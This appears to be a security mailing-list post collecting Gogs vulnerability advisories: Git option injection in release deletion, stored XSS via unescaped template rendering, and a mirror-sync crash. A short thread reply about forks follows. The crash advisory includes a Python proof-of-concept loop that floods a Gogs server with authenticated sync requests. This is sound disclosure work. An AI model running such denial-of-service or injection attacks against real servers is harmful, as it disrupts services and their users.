Summary
There is a security issue in Gogs where deleting a release can fail if a user-controlled tag name is passed to Git without the right separator, allowing Git option injection and therefore interfering with the process.
Affected Component
- internal/database/release.go process.ExecDir(..., "git", "tag", "-d", rel.TagName)
Details
rel.TagName is used as a CLI argument to git tag -d without -- or --end-of-options. If the tag name begins with -, Git parses it as a flag.
The prior mitigation is incomplete. There is path sanitization in place during creation:
- internal/database/release.go r.TagName = strings.TrimLeft(r.TagName, "-")
But it only covers one creation path and does not reliably protect tag deletions, such as tags added through git push or ref updates.
Exploit Conditions 1. An attacker can add a tag name that starts with a dash into the repository. 2. A user with permission to delete releases triggers it through the web UI or API.
Recommended Fix
1. Add end-of-options in release deletion: - git tag -d -- <tagName> 2. It is better to use the safe git-module deletion helper since it handles options properly. 3. All Git commands should be audited for user input, ensuring that the end-of-options separator is always used.
Impact - Option injection into git tag -d - Tag/release deletion can fail or behave unexpectedly - Operational denial of service in release cleanup workflows - Potential release metadata inconsistency
Summary
Stored XSS is still possible through unsafe template rendering that mixes user input with safe() plus permissive sanitizer handling of data URLs.
Details
safe() still turns off escaping: - internal/template/template.go - func safe(raw string) template.HTML { return template.HTML(raw) }
Branch pages still render committer names using safe(): - templates/repo/branches/overview.tmpl - templates/repo/branches/all.tmpl - templates/repo/wiki/view.tmpl
The locale still injects a raw second argument: conf/locale/localeen-US.ini (branches.updatedby = updated %[1]s by %[2]s)
Impact
An attacker who can inject commit metadata such as author/committer name can trigger script execution on affected pages, leading to session abuse, CSRF token theft, or unauthorized actions.
Recommended Fix
- Untrusted arguments should be escaped before being used in translations. - Data URLs should be limited or blocked in the sanitizer.
Remediation A fix is available at https://github.com/gogs/gogs/releases/tag/v0.14.2.
Summary An authenticated user can cause a DOS attack. If one of the repo files is deleted before synchronization, it will cause the application to crash.
Details If GetMirrorByRepoID fails, the error log dereferencing null pointer. This happens if the repository no longer exits. https://github.com/gogs/gogs/blob/4cc83c498b6ae59356a04912d68a932165bad5e6/internal/database/mirror.go#L333-L337 if err != nil m is alwasa nil https://github.com/gogs/gogs/blob/4cc83c498b6ae59356a04912d68a932165bad5e6/internal/database/mirror.go#L269-L278 PoC Spam mirror-sync on repo and delete this repo code python spam mirror-sync py import requests
url = "http://gogs.lan:3000/superuser/gobypass403/settings" headers = { "Cookie": "lang=en-US; ilikegogs=fe32281ab84ae868; csrf=UCw6xvqR-L7YLBMPjujwjywxy8s6MTc2NDc3NDQ2NDE1MzU5ODQ3Mg", }
data = { "csrf": "UCw6xvqR-L7YLBMPjujwjywxy8s6MTc2NDc3NDQ2NDE1MzU5ODQ3Mg", "action": "mirror-sync", }
while True: print("syncing") response = requests.post(url, headers=headers, data=data) Impact Denial of Service server crash.
On 12/11/25 16:33, Jakub Wilk wrote: Alan Coopersmith <alan.coopersmith () oracle com>, 2025-12-10 15:18: Gogs has a couple of notable forks: Gitea, Forgejo. Does anyone know if they are affected?
People have since tried to attack it, but have not been successful.
That means Forgejo and Gitea are most likely unaffected.
---
Martin Weinelt